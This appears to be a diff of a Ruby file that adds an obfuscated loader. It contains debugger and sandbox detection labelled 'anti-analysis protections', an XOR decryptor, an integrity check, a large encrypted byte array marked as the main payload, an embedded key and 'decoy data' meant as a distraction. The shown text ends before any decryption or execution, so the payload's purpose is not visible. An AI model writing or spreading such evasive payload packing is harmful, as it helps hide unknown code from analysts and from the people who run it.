# === ANTI-ANALYSIS PROTECTIONS ===
|
|
9
|
+
_t849e33 = lambda do
|
|
10
|
+
# Analyzer detection
|
|
11
|
+
if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
|
|
12
|
+
warn "WARNING: analysis environment detected"
|
|
13
|
+
# Optional: exit(1) for stronger protection
|
|
14
|
+
end
|
|
15
|
+
|
|
16
|
+
# Quick execution speed check
|
|
17
|
+
_k60312e = Time.now
|
|
18
|
+
100.times { |_| Math.sqrt(_) }
|
|
19
|
+
if (Time.now - _k60312e) > 0.1 # Adjust threshold as needed
|
|
20
|
+
warn "WARNING: Execution too slow - possible analysis environment"
|
|
21
|
+
end
|
|
22
|
+
|
|
23
|
+
# Return environment fingerprint
|
|
24
|
+
[RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
|
|
25
|
+
end
|
|
26
|
+
|
|
27
|
+
# Run environment check
|
|
28
|
+
_ya6c3a0 = _t849e33.call
|
|
29
|
+
|
|
30
|
+
# === FIXED XOR DECRYPTOR ===
|
|
31
|
+
_r5fa420 = ->(_s8abb17, _g5a73f5) do
|
|
32
|
+
_n2a0c20 = []
|
|
33
|
+
_s8abb17.each_with_index do |byte, idx|
|
|
34
|
+
_n2a0c20 << (byte ^ _g5a73f5[idx % _g5a73f5.length])
|
|
35
|
+
end
|
|
36
|
+
_n2a0c20
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
# === INTEGRITY VERIFICATION ===
|
|
41
|
+
_lda04c7 = lambda do |_o63a5a7, _c5d5347, _z7f8c42, _a95cbd1|
|
|
42
|
+
# Verify checksum before any decryption
|
|
43
|
+
current_hash = Digest::SHA256.hexdigest(_o63a5a7.pack('C*'))
|
|
44
|
+
if current_hash != _a95cbd1
|
|
45
|
+
raise "SECURITY ERROR: File integrity check failed"
|
|
46
|
+
end
|
|
47
|
+
true
|
|
48
|
+
end
|
|
49
|
+
|
|
50
|
+
# === EMBEDDED ENCRYPTED DATA ===
|
|
51
|
+
_o63a5a7 = [76, 205, 107, 175, 37, 242, 132, 183, 68, 39, 204, 250, 40, 223, 99, 223, 219, 53, 191, 15, 210, 115, 92, 169, 248, 68, 61, 169, 40, 157, 58, 59, 97, 199, 95, 123, 58, 224, 218, 146, 44, 12, 209, 66, 183, 175, 240, 200, 221, 216, 27, 78, 212, 207, 144, 179, 21, 21, 233, 175, 181, 66, 51, 157, 56, 36, 161, 254, 162, 214, 141, 61, 13, 66, 109, 162, 79, 44, 190, 134, 174, 66, 129, 253, 24, 63, 13, 12, 15, 232, 23, 204, 203, 180, 186, 13, 31, 167, 135, 177, 27, 151, 196, 152, 242, 179, 36, 189, 200, 9, 99, 131, 134, 249, 206, 233, 222, 35, 139, 242, 59, 254, 239, 204, 225, 49, 110, 242, 18, 90, 134, 141, 26, 145, 221, 107, 214, 13, 80, 22, 34, 169, 29, 115, 248, 190, 112, 104, 239, 156, 199, 144, 143, 119, 153, 138, 171, 88, 32, 121, 194, 43, 24, 86, 65, 247, 60, 63, 197, 39, 100, 123, 109, 23, 115, 198, 241, 167, 126, 66, 57, 21, 22, 84, 26, 12, 132, 85, 161, 192, 134, 40, 46, 129, 157, 140, 84, 58, 64, 208, 68, 236, 172, 218, 118, 110, 179, 60, 233, 195, 114, 181, 29, 168, 144, 159, 203, 250, 41, 229, 64, 110, 34, 196, 246, 79, 232, 183, 132, 246, 122, 138, 116, 120, 94, 146, 96, 144, 151, 29, 179, 133, 199, 81, 208, 128, 8, 21, 77, 47, 123, 170, 27, 108, 63, 108, 144, 98, 26, 74, 71, 89, 223, 168, 146, 128, 111, 3, 184, 174, 16, 132, 108, 73, 35, 92, 177, 129, 230, 148, 144, 56, 215, 78, 144, 122, 16, 147, 21, 175, 192, 63, 215, 174, 8, 175, 128, 105, 171, 168, 95, 148, 64, 240, 94, 224, 233, 188, 180, 197, 153, 72, 101, 30, 89, 46, 170, 46, 137, 83, 93, 203, 221, 196, 118, 60, 29, 143, 157, 111, 88, 122, 91, 209, 183, 104, 149, 104, 25, 243, 41, 220, 163, 222, 182, 242, 100, 1, 2, 8, 159, 46, 122, 92, 36, 214, 255, 243, 46, 183, 182, 78, 68, 74, 95, 189, 142, 228, 206, 29, 38, 26, 181, 122, 23, 114, 68, 166, 39, 155, 102, 197, 178, 197, 253, 144, 56, 120, 157, 179, 204, 82, 75, 48, 130, 229, 254, 86, 92, 118, 71, 165, 167, 76, 192, 62, 117, 218, 208, 127, 116, 112, 201, 83, 87, 121, 224, 36, 65, 200, 140, 133, 251, 206, 223, 134, 18, 212, 231, 10, 90, 79, 19, 55, 106, 181, 249, 162, 156, 244, 46, 146, 57, 50, 148, 81, 171, 60, 8, 87, 20, 53, 76, 56, 116, 133, 220, 142, 184, 85, 245, 158, 153, 166, 186, 159, 74, 181, 92, 127, 237, 227, 149, 28, 77, 79, 119, 124, 12, 54, 183, 243, 172, 248, 252, 223, 50, 20, 59, 212, 197, 131, 144, 217, 116, 75, 188, 238, 176, 118, 16, 136, 41, 198, 144, 40, 103, 24, 34, 8, 18, 165, 4, 55, 205, 193, 88, 169, 50, 105, 36, 231, 78, 144, 28, 164, 169, 11, 252, 110, 225, 183, 222, 186, 133, 9, 52, 70, 246, 203, 137, 225, 204, 220, 152, 172, 219, 215, 142, 150, 119, 113, 97, 220, 33, 230, 119, 52, 176, 64, 121, 221, 152, 106, 218, 228, 48, 248, 36, 234, 122, 117, 141, 72, 237, 86, 151, 80, 193, 3, 52, 248, 45, 38, 223, 59, 13, 189, 109, 192, 157, 24, 16, 9, 250, 36, 65, 107, 55, 154, 208, 97, 189, 213, 145, 196, 186, 104, 221, 101, 83, 140, 18, 49, 66, 228, 177, 218, 245, 15, 68, 135, 170, 103, 91, 186, 52, 38, 167, 94, 215, 190, 206, 234, 156, 217, 100, 144, 18, 37, 10, 72, 219, 142, 253, 224, 215, 91, 147, 22, 1, 240, 43, 102, 199, 254, 99, 23, 173, 179, 240, 250, 28, 236, 151, 114, 92, 244, 67, 180, 51, 164, 68, 49, 206, 33, 221, 53, 167, 115, 34, 91, 239, 128, 149, 148, 235, 186, 47, 1, 71, 181, 74, 73, 123, 191, 193, 204, 119, 15, 138, 9, 201, 246, 243, 225, 31, 36, 127, 170, 11, 121, 102, 116, 113, 98, 98, 190, 7, 227, 225, 162, 253, 94, 76, 133, 25, 249, 213, 190, 10, 58, 158, 162, 107, 186, 11, 102, 48, 173, 246, 190, 146, 15, 235, 254, 162, 9, 44, 244, 110, 145, 152, 217, 243, 234, 31, 14, 150, 109, 7, 15, 225, 217, 243, 162, 51, 59, 120, 115, 184, 87, 55, 250, 49, 180, 135, 224, 76, 172, 163, 202, 100, 223, 192, 141, 235, 21, 83, 130, 41, 119, 170, 49, 22, 193, 196, 89, 251, 28, 30, 16, 245, 179, 29, 74, 88, 2, 6, 138, 10, 167, 157, 225, 125, 245, 238, 34, 206, 28, 171, 16, 67, 144, 93, 238, 138, 75, 103, 86, 40, 14, 132, 38, 119, 154, 128, 42, 228, 24, 128, 106, 90, 200, 178, 176, 253, 246, 3, 9, 194, 194, 35, 64, 11, 41, 254, 133, 1, 142, 54, 229, 196, 197, 34, 52, 237, 133, 155, 33, 107, 134, 42, 6, 245, 226, 143, 104, 72, 119, 44, 159, 170, 133, 236, 124, 214, 86, 181, 106, 23, 3, 135, 127, 107, 79, 211, 78, 90, 187, 201, 223, 119, 104, 17, 169, 21, 183, 50, 16, 5, 178, 143, 197, 156, 187, 232, 185, 100, 58, 76, 8, 87, 108, 166, 28, 132, 47, 149, 209, 125, 25, 241, 254, 173, 183, 195, 233, 178, 186, 178, 198, 109, 84, 207, 238, 148, 57, 36, 247, 202, 236, 71, 243, 77, 180, 206, 118, 48, 240, 33, 203, 106, 244, 1, 52, 18, 7, 179, 161, 96, 29, 123, 78, 70, 8, 191, 88, 50, 123, 92, 16, 159, 100, 48, 141, 58, 36, 94, 177, 18, 222, 124, 188, 6, 49, 237, 168, 11, 232, 209, 228, 73, 108, 242, 74, 223, 225, 57, 23, 10, 160, 246, 180, 214, 250, 58, 212, 225, 138, 64, 223, 234, 46, 176, 64, 103, 144, 42, 254, 195, 214, 137, 213, 128, 41, 129, 2, 186, 150, 186, 246, 21, 220, 126, 68, 60, 112, 21, 88, 244, 108, 31, 239, 249, 183, 101, 162, 135, 229, 26, 207, 47, 211, 217, 58, 105, 173, 103, 220, 245, 45, 102, 67, 33, 12, 127, 147, 9, 19, 136, 6, 228, 59, 33, 202, 150, 8, 45, 55, 64, 189, 43, 59, 170, 104, 205, 2, 21, 252, 249, 191, 18, 63, 38, 50, 186, 173, 59, 152, 188, 7, 138, 87, 20, 179, 57, 173, 133, 130, 198, 67, 84, 175, 128, 196, 37, 27, 90, 99, 194, 143, 11, 82, 24, 91, 44, 96, 39, 239, 184, 141, 52, 145, 186, 180, 93, 170, 193, 168, 231, 248, 122, 205, 97, 253, 0, 112, 130, 194, 156, 26, 42, 84, 131, 73, 124, 35, 111, 71, 141, 42, 253, 235, 202, 128, 217, 10, 158, 233, 67, 116, 68, 59, 13, 48, 161, 245, 98, 81, 158, 140, 137, 114, 118, 136, 196, 148, 45, 132, 57, 26, 233, 163, 193, 188, 155, 185, 185, 33, 2, 72, 212, 66, 121, 252, 99, 239, 175, 86, 255, 252, 96, 157, 79, 201, 219, 56, 103, 14, 100, 165, 9, 116, 239, 24, 219, 190, 13, 127, 88, 92, 220, 248, 32, 121, 41, 162, 225, 100, 58, 194, 12, 126, 211, 158, 113, 210, 49, 196, 118, 247, 173, 216, 51, 137, 114, 195, 54, 81, 73, 251, 52, 107, 207, 239, 243, 54, 134, 20, 243, 65, 188, 200, 159, 103, 213, 203, 38, 120, 183, 252, 190, 14, 215, 216, 99, 255, 49, 194, 1, 128, 4, 247, 239, 126, 21, 37, 3, 192, 127, 149, 182, 229, 235, 12, 81, 11, 124, 66, 244, 163, 186, 102, 8, 129, 57, 209, 162, 100, 60, 119, 163, 166, 180, 59, 226, 186, 169, 46, 102, 248, 61, 49, 131, 63, 100, 188, 97, 175, 177, 10, 61, 100, 46, 74, 73, 241, 53, 144, 116, 111, 51, 171, 204, 54, 141, 222, 74, 111, 26, 217, 61, 232, 126, 217, 229, 33, 232, 72, 163, 168, 199, 144, 111, 216, 255, 74, 239, 58, 197, 50, 123, 67, 211, 137, 237, 36, 42, 216, 12, 22, 144, 32, 94, 169, 142, 135, 124, 117, 198, 245, 244, 183, 236, 91, 38, 184, 8, 69, 47, 105, 130, 116, 182, 179, 166, 211, 144, 162, 234, 33, 225, 216, 83, 114, 145, 189, 19, 216, 16, 198, 29, 242, 85, 102, 38, 58, 130, 128, 183, 214, 212, 156, 238, 109, 152, 17, 236, 198, 18, 156, 158, 151, 184, 241, 110, 76, 105, 33, 140, 91, 63, 243, 230, 191, 241, 90, 45, 56, 251, 223, 196, 43, 186, 129, 8, 157, 159, 253, 174, 67, 89, 240, 23, 212, 126, 187, 159, 14, 139, 106, 30, 100, 236, 0, 191, 224, 219, 167, 233, 68, 32, 26, 190, 217, 46, 106, 182, 33, 207, 232, 92, 218, 119, 206, 201, 206, 255, 217, 254, 8, 199, 220, 97, 172, 152, 244, 194, 29, 142, 59, 199, 139, 220, 11, 68, 126, 172, 248, 165, 31, 186, 71, 155, 62, 28, 210, 40, 229, 155, 139, 239, 65, 129, 125, 56, 158, 192, 194, 50, 63, 170, 119, 204, 254, 78, 248, 89, 13, 193, 59, 141, 19, 99, 31, 32, 22, 177, 124, 161, 216, 91, 87, 20, 138, 192, 19, 152, 91, 33, 140, 182, 105, 118, 85, 81, 97, 179, 40, 222, 168, 137, 189, 210, 251, 16, 214, 148, 199, 203, 255, 241, 215, 95, 35, 177, 11, 219, 177, 113, 23, 155, 242, 20, 35, 189, 198, 103, 109, 193, 112, 162, 215, 130, 44, 197, 0, 140, 218, 44, 64, 78, 32, 106, 106, 164, 35, 131, 61, 50, 217, 170, 203, 35, 95, 201, 137, 18, 175, 241, 237, 54, 35, 4, 66, 198, 175, 165, 193, 160, 74, 238, 64, 220, 240, 107, 103, 162, 252, 216, 14, 243, 36, 119, 96, 154, 106, 249, 213, 249, 239, 67, 140, 180, 53, 33, 3, 1, 156, 193, 73, 112, 89, 33, 82, 162, 111, 79, 93, 14, 64, 226, 243, 103, 26, 70, 118, 186, 224, 88, 11, 39, 210, 167, 57, 131, 200, 7, 29, 14, 239, 139, 210, 41, 13, 160, 170, 12, 60, 138, 215, 19, 40, 209, 163, 165, 245, 175, 202, 232, 13, 53, 170, 16, 42, 83, 244, 212, 116, 172, 145, 241, 158, 167, 251, 220, 152, 223, 215, 217, 132, 149, 157, 134, 113, 163, 30, 128, 195, 128, 106, 50, 10, 54, 235, 224, 163, 1, 3, 126, 24, 30, 185, 139, 22, 209, 82, 222, 213, 221, 248, 74, 47, 143, 23, 110, 122, 143, 219, 233, 58, 40, 92, 244, 80, 147, 196, 197, 84, 34, 169, 133, 54, 171, 237, 187, 86, 231, 3, 223, 233, 227, 92, 13, 114, 70, 130, 103, 173, 8, 32, 113, 253, 55, 136, 57, 96, 14, 176, 193, 248, 110, 82, 46, 11, 166, 60, 207, 211, 171, 203, 54, 80, 63, 79, 150, 204, 243, 170, 80, 136, 186, 129, 63, 220, 243, 125, 185, 27, 160, 172, 210, 191, 140, 199, 68, 176, 25, 113, 219, 199, 156, 160, 102, 165, 17, 37, 226, 234, 238, 100, 209, 90, 15, 90, 0, 111, 38, 121, 41, 182, 131, 186, 46, 122, 241, 181, 149, 114, 218, 88, 191, 220, 150, 106, 225, 245, 131, 45, 179, 237, 84, 225, 137, 197, 234, 164, 101, 73, 102, 215, 52, 16, 37, 203, 11, 241, 109, 233, 154, 152, 209, 9, 74, 218, 114, 11, 155, 240, 211, 130, 72, 159, 119, 156, 5, 234, 113, 212, 145, 24, 15, 219, 32, 2, 76, 166, 229, 80, 226, 62, 119, 95, 37, 233, 215, 233, 129, 94, 114, 121, 39, 153, 207, 242, 112, 67, 96, 239, 160, 136, 38, 17, 97, 201, 243, 217, 64, 15, 209, 71, 213, 117, 133, 204, 29, 212, 43, 158, 111, 206, 113, 125, 72, 144, 90, 125, 14, 189, 237, 76, 181, 120, 97, 232, 79, 247, 63, 45, 193, 34, 156, 60, 187, 63, 57, 225, 232, 139, 48, 173, 235, 0, 50, 179, 6, 172, 39, 181, 161, 87, 125, 254, 98, 223, 51, 59, 64, 89, 109, 142, 158, 164, 82, 214, 195, 12, 202, 171, 226, 180, 104, 35, 23, 149, 214, 10, 66, 185, 109, 75, 84, 126, 198, 48, 235, 55, 89, 185, 117, 232, 6, 17, 107, 48, 187, 233, 97, 114, 210, 55, 107, 74, 242, 47, 150, 17, 67, 42, 46, 223, 3, 212, 7, 130, 142, 169, 165, 173, 187, 178, 98, 49, 87, 88, 138, 169, 205, 179, 88, 202, 157, 220, 80, 247, 212, 194, 247, 41, 57, 190, 49, 149, 239, 208, 243, 64, 184, 49, 217, 58, 82, 61, 57, 37, 68, 234, 13, 215, 100, 51, 5, 60, 246, 229, 8, 146, 168, 6, 109, 65, 5, 34, 168, 183, 27, 162, 217, 164, 93, 21, 167, 96, 20, 55, 189, 234, 213, 42, 52, 2, 140, 205, 248, 218, 25, 153, 64, 96, 72, 225, 84, 179, 41, 186, 58, 11, 23, 241, 161, 110, 24, 180, 91, 247, 62, 247, 102, 130, 27, 171, 65, 77, 209, 225, 192, 44, 231, 241, 104, 71, 230, 235, 51, 79, 35, 255, 101, 82, 158, 168, 123, 79, 174, 117, 123, 217, 97, 22, 38, 203, 139, 29, 223, 156, 89, 243, 227, 205, 206, 111, 106, 145, 205, 226, 148, 247, 195, 155, 54, 26, 67, 137, 150, 124, 175, 177, 243, 29, 207, 174, 202, 248, 184, 203, 104, 57, 177, 55, 76, 46, 149, 232, 4, 168, 12, 88, 63, 63, 55, 221, 63, 229, 161, 67, 156, 240, 138, 123, 34, 165, 238, 231, 254, 74, 164, 106, 164, 109, 158, 52, 58, 88, 240, 128, 130, 137, 38, 22, 127, 40, 22, 234, 200, 227, 114, 128, 104, 132, 145, 45, 40, 246, 16, 128, 237, 66, 94, 126, 238, 18, 24, 36, 187, 52, 60, 126, 204, 207, 34, 164, 127, 216, 41, 25, 111, 62, 13, 57, 121, 192, 93, 30, 160, 241, 148, 72, 249, 49, 162, 112, 190, 205, 238, 225, 32, 161, 72, 184, 127, 113, 235, 37, 88, 49, 18, 201, 213, 48, 69, 31, 23, 27, 143, 220, 20, 189, 90, 240, 201, 176, 137, 118, 186, 249, 4, 223, 220, 75, 29, 172, 169, 38, 50, 8, 10, 144, 131, 135, 216, 215, 207, 248, 231, 238, 15, 91, 231, 108, 20, 51, 224, 192, 97, 152, 27, 76, 45, 197, 136, 137, 61, 123, 95, 103, 204, 109, 162, 135, 237, 78, 211, 153, 128, 224, 66, 107, 179, 247, 44, 83, 51, 78, 161, 118, 161, 98, 53, 111, 93, 152, 91, 46, 228, 2, 53, 234, 244, 163, 231, 105, 140, 68, 23, 82, 226, 29, 246, 131, 126, 12, 194, 77, 173, 13, 1, 181, 244, 230, 87, 146, 146, 186, 145, 132, 51, 170, 235, 254, 65, 97, 212, 167, 220, 140, 117, 156, 48, 107, 253, 120, 145, 219, 152, 10, 250, 94, 123, 161, 55, 27, 206, 16, 185, 207, 178, 244, 246, 204, 177, 64, 17, 126, 99, 245, 28, 55, 56, 192, 160, 146, 131, 71, 189, 253, 5, 204, 68, 70, 233, 182, 49, 124, 46, 250, 25, 94, 226, 182, 215, 22, 90, 100, 223, 29, 206, 132, 197, 97, 57, 42, 12, 247, 59, 52, 95, 118, 4, 135, 182, 78, 27, 134, 185, 156, 238, 52, 94, 80, 162, 198, 182, 204, 185, 52, 137, 60, 180, 127, 103, 245, 252, 182, 219, 58, 224, 81, 238, 27, 38, 97, 237, 111, 156, 68, 108, 145, 181, 216, 166, 51, 241, 224, 156, 215, 94, 158, 178, 178, 97, 55, 124, 236, 239, 68, 37, 164, 23, 52, 153, 244, 30, 114, 227, 214, 179, 255, 168, 129, 135, 152, 199, 92, 131, 49, 179, 225, 55, 116, 51, 251, 222, 245, 231, 86, 81, 181, 187, 42, 40, 94, 21, 42, 31, 80, 230, 150, 91, 133, 17, 69, 32, 107, 123, 241, 59, 76, 56, 83, 79, 103, 99, 27, 104, 116, 177, 123, 168, 236, 143, 176, 130, 157, 2, 12, 0, 14, 122, 242, 135, 61, 65, 199, 28, 82, 164, 218, 9, 47, 193, 121, 70, 251, 230, 193, 252, 161, 24, 145, 167, 72, 31, 164, 51, 126, 213, 19, 255, 184, 208, 46, 92, 188, 201, 82, 173, 29, 3, 253, 102, 205, 49, 15, 47, 153, 118, 31, 103, 180, 165, 43, 68, 201, 67, 45, 245, 111, 138, 71, 31, 206, 225, 25, 133, 93, 171, 36, 232, 192, 219, 239, 107, 111, 241, 163, 46, 174, 137, 241, 27, 101, 242, 126, 165, 53, 129, 57, 222, 183, 176, 0, 10, 135, 183, 151, 3, 234, 214, 248, 185, 205, 110, 210, 4, 255, 58, 245, 220, 65, 208, 112, 174, 33, 227, 212, 147, 71, 172, 191, 227, 199, 252, 110, 139, 247, 213, 231, 142, 217, 229, 134, 106, 123, 172, 135, 52, 89, 64, 141, 36, 239, 255, 174, 12, 56, 91, 117, 81, 252, 59, 216, 89, 255, 156, 96, 36, 168, 209, 31, 209, 50, 24, 173, 144, 90, 129, 186, 100, 8, 255, 80, 132, 251, 239, 228, 35, 56, 198, 90, 44, 61, 127, 228, 220, 188, 186, 161, 177, 147, 186, 141, 37, 239, 214, 114, 79, 210, 21, 22, 152, 226, 25, 55, 26, 196, 56, 204, 242, 38, 243, 4, 239, 17, 190, 159, 75, 23, 161, 51, 239, 155, 200, 4, 213, 24, 245, 57, 129, 102, 188, 136, 233, 62, 200, 68, 128, 56, 169, 131, 16, 167, 67, 58, 179, 185, 219, 227, 154, 72, 116, 177, 141, 209, 238, 163, 142, 230, 216, 188, 51, 53, 221, 127, 33, 119, 19, 97, 92, 69, 11, 231, 227, 76, 220, 54, 66, 42, 18, 55, 129, 64, 65, 75, 76, 177, 20, 165, 40, 160, 241, 38, 103, 242, 205, 166, 33, 164, 107, 174, 76, 150, 193, 57, 70, 103, 201, 109, 38, 185, 88, 133, 219, 140, 120, 97, 130, 2, 136, 105, 176, 145, 37, 236, 150, 234, 171, 36, 167, 254, 62, 117, 118, 98, 221, 28, 214, 24, 28, 162, 236, 7, 13, 50, 65, 190, 62, 111, 16, 179, 179, 98, 91, 201, 37, 9, 206, 152, 73, 226, 51, 193, 224, 45, 26, 136, 11, 173, 174, 63, 165, 180, 169, 203, 12, 118, 130, 15, 186, 39, 160, 74, 177, 181, 94, 151, 195, 48, 17, 147, 16, 246, 35, 131, 28, 197, 157, 21, 32, 135, 17, 114, 29, 134, 62, 35, 95, 136, 183, 198, 97, 192, 50, 59, 210, 11, 18, 188, 44, 17, 162, 202, 218, 84, 132, 2, 230, 110, 255, 51, 228, 6, 224, 152, 124, 125, 80, 40, 206, 173, 248, 8, 159, 118, 19, 105, 82, 55, 30, 193, 54, 30, 26, 177, 74, 136, 63, 108, 191, 93, 0, 54, 13, 168, 64, 12, 95, 145, 212, 225, 202, 110, 149, 222, 215, 59, 249, 137, 4, 112, 132, 200, 119, 11, 235, 24, 91, 148, 72, 183, 41, 162, 248, 252, 109, 36, 236, 51, 72, 122, 238, 44, 237, 224, 104, 119, 249, 91, 213, 63, 7, 104, 230, 201, 9, 183, 69, 71, 151, 197, 11, 209, 162, 228, 60, 142, 148, 177, 52, 231, 35, 25, 240, 217, 87, 234, 100, 220, 72, 5, 37, 4, 136, 247, 167, 107, 242, 69, 126, 70, 166, 185, 193, 54, 192, 245, 215, 150, 80, 241, 237, 123, 206, 205, 45, 72, 139, 244, 56, 64, 220, 34, 57, 206, 39, 202, 223, 124, 220, 56, 189, 72, 206, 130, 162, 110, 81, 215, 137, 238, 191, 31, 139, 193, 253, 28, 185, 123, 94, 29, 165, 44, 176, 180, 188, 189, 105, 125, 101, 244, 216, 250, 223, 12, 34, 9, 63, 7, 24, 76, 137, 176, 246, 234, 249, 64, 240, 160, 108, 115, 64, 119, 36, 182, 124, 45, 6, 127, 249, 63, 155, 72, 198, 146, 229, 137, 94, 195, 17, 241, 58, 33, 141, 102, 202, 88, 43, 23, 14, 188, 187, 24, 160, 187, 198, 162, 11, 161, 190, 171, 219, 8, 2, 157, 92, 109, 109, 251, 131, 80, 16, 28, 244, 207, 115, 178, 189, 22, 13, 31, 235, 214, 159, 209, 202, 200, 81, 145, 91, 66, 179, 133, 38, 189, 121, 171, 16, 131, 19, 186, 163, 107, 107, 65, 14, 117, 163, 36, 4, 197, 207, 241, 79, 126, 93, 39, 145, 78, 30, 140, 190, 15, 85, 121, 214, 187, 40, 70, 147, 154, 34, 84, 254, 250, 14, 162, 68, 183, 224, 237, 123, 58, 8, 66, 131, 179, 11, 107, 246, 115, 69, 206, 59, 159, 157, 24, 5, 11, 202, 146, 253, 46, 7, 37, 192, 245, 160, 88, 207, 147, 174, 79, 219, 110, 234, 82, 242, 119, 239, 59, 77, 79, 201, 115, 152, 222, 221, 242, 182, 142, 8, 243, 175, 246, 75, 176, 42, 166, 90, 188, 105, 220, 207, 204, 139, 158, 157, 247, 149, 4, 102, 40, 35, 56, 92, 12, 63, 94, 5, 86, 30, 100, 2, 57, 64, 150, 247, 152, 4, 73, 24, 199, 185, 4, 189, 233, 164, 249, 200, 75, 23, 58, 173, 115, 230, 50, 1, 162, 111, 161, 237, 82, 74, 167, 155, 135, 220, 116, 193, 174, 6, 200, 201, 128, 69, 204, 201, 123, 109, 167, 165, 133, 2, 66, 116, 185, 70, 87, 77, 110, 124, 58, 93, 56, 55, 14, 184, 181, 71, 90, 246, 209, 168, 234, 171, 163, 92, 102, 181, 136, 38, 78, 160, 144, 89, 85, 111, 88, 124, 239, 65, 196, 156, 145, 10, 208, 106, 16, 11, 254, 179, 87, 81, 57, 45, 204, 222, 117, 56, 206, 154, 187, 238, 219, 29, 252, 175, 177, 34, 221, 12, 172, 59, 118, 196, 204, 154, 59, 170, 241, 65, 175, 145, 124, 169, 241, 144, 106, 233, 202, 145, 106, 61, 138, 224, 208, 161, 252, 57, 217, 25, 0, 10, 198, 120, 36, 179, 233, 145, 146, 156, 14, 4, 130, 202, 147, 170, 157, 16, 148, 164, 194, 248, 161, 116, 157, 80, 73, 123, 140, 248, 202, 165, 182, 158, 82, 185, 99, 64, 65, 139, 205, 242, 65, 162, 197, 191, 52, 95, 61, 190, 169, 233, 200, 12, 231, 98, 76, 48, 19, 75, 238, 151, 127, 188, 66, 112, 180, 204, 34, 2, 217, 20, 13, 110, 157, 167, 64, 158, 131, 108, 152, 150, 168, 198, 177, 171, 188, 169, 226, 179, 107, 229, 39, 106, 213, 235, 114, 113, 28, 184, 207, 206, 101, 36, 147, 7, 183, 8, 102, 186, 81, 246, 193, 213, 148, 249, 49, 181, 108, 75, 165, 3, 190, 157, 68, 102, 251, 149, 189, 107, 147, 180, 38, 202, 80, 50, 164, 184, 148, 126, 3, 185, 190, 97, 84, 246, 48, 58, 65, 183, 90, 136, 244, 43, 90, 0, 151, 173, 147, 33, 131, 51, 10, 177, 195, 86, 62, 99, 172, 175, 171, 5, 249, 228, 249, 197, 190, 124, 31, 80, 30, 76, 3, 0, 220, 178, 143, 77, 133, 197, 9, 0, 170, 141, 158, 24, 224, 8, 180, 130, 124, 158, 137, 130, 75, 230, 75, 190, 56, 161, 143, 212, 194, 43, 188, 213, 242, 201, 255, 210, 165, 247, 3, 93, 229, 151, 232, 12, 70, 244, 252, 153, 29, 29, 136, 152, 194, 180, 166, 123, 133, 248, 223, 226, 103, 84, 228, 75, 171, 83, 231, 165, 217, 104, 125, 143, 197, 98, 88, 104, 198, 66, 239, 231, 77, 1, 214, 32, 112, 199, 24, 144, 240, 84, 85, 149, 13, 105, 34, 249, 8, 51, 20, 254, 220, 225, 82, 149, 244, 239, 236, 28, 127, 93, 54, 206, 246, 33, 206, 83, 230, 169, 111, 169, 136, 137, 181, 243, 131, 136, 65, 161, 69, 11, 179, 132, 43, 179, 251, 30, 35, 24, 191, 113, 254, 30, 179, 52, 99, 97, 255, 74, 217, 96, 68, 215, 55, 125, 178, 19, 202, 73, 37, 180, 254, 29, 255, 95, 70, 207, 116, 12, 167, 145, 67, 151, 8, 10, 60, 122, 60, 49, 127, 103, 236, 229, 97, 11, 53, 59, 189, 104, 154, 165, 3, 60, 9, 9, 18, 224, 22, 24, 120, 237, 148, 69, 198, 54, 222, 181, 89, 120, 77, 190, 43, 66, 246, 205, 160, 201, 86, 35, 38, 170, 90, 136, 80, 79, 174, 145, 170, 23, 8, 166, 10, 62, 1, 12, 209, 158, 147, 38, 68, 180, 143, 234, 219, 187, 253, 226, 35, 104, 252, 13, 253, 154, 143, 197, 112, 216, 215, 43, 7, 153, 146, 213, 221, 118, 26, 111, 72, 146, 224, 97, 73, 66, 90, 236, 189, 79, 39, 101, 172, 133, 255, 5, 32, 227, 172, 44, 130, 136, 102, 111, 104, 219, 219, 110, 135, 94, 211, 89, 195, 187, 185, 157, 100, 179, 77, 84, 219, 212, 241, 41, 158, 228, 10, 28, 37, 3, 80, 105, 240, 61, 95, 238, 21, 165, 147, 239, 197, 201, 46, 178, 37, 25, 220, 177, 68, 252, 137, 96, 27, 2, 8, 193, 36, 239, 236, 224, 244, 69, 132, 227, 38, 196, 16, 123, 237, 253, 148, 6, 68, 249, 170, 26, 208, 108, 22, 17, 22, 200, 213, 227, 180, 243, 19, 241, 245, 201, 217, 140, 248, 42, 138, 190, 16, 139, 18, 70, 71, 89, 169, 135, 22, 246, 189, 150, 28, 239, 126, 183, 55, 71, 240, 78, 66, 108, 137, 110, 23, 71, 17, 91, 185, 142, 75, 161, 145, 16, 138, 139, 64, 35, 12, 86, 102, 31, 145, 61, 248, 203, 119, 143, 210, 11, 253, 30, 165, 107, 68, 185, 100, 48, 120, 232, 205, 170, 127, 225, 174, 70, 185, 113, 125, 63, 102, 244, 193, 76, 22, 168, 147, 51, 97, 219, 44, 164, 50, 157, 254, 67, 188, 77, 63, 105, 62, 154] # Main encrypted payload
|
|
52
|
+
|
|
53
|
+
# === EMBEDDED KEYS (obfuscated) ===
|
|
54
|
+
_r2fca2d = [197, 175, 192, 46, 211, 188, 135, 76, 100, 99, 80, 23, 122, 170, 37, 49, 52, 23, 106, 181]
|
|
55
|
+
|
|
56
|
+
# === ENCODING TYPE TRACKER ===
|
|
57
|
+
_c5d5347 = [0, 1, 1, 0, 0]
|
|
58
|
+
|
|
59
|
+
# === STORED CHECKSUM ===
|
|
60
|
+
_a95cbd1 = '2525d32fcf7604c9230a152d754f2e6dffb8ba6af3a0ea3be712a58c8610822a'
|
|
61
|
+
|
|
62
|
+
# === DECOY DATA (distraction) ===
|
|
63
|
+
_l52eeb4 = [224, 110, 13, 5, 195, 44, 166, 121, 175, 250, 182, 189, 94, 44, 159, 232, 122, 157, 63, 28, 215, 28, 227, 95, 127, 118, 202, 54, 114, 131, 57, 214, 126, 18, 190, 41, 255, 160, 159, 164, 219, 107, 20, 131, 116, 116, 84, 0, 97, 32, 209, 241]
|
|
64
|
+
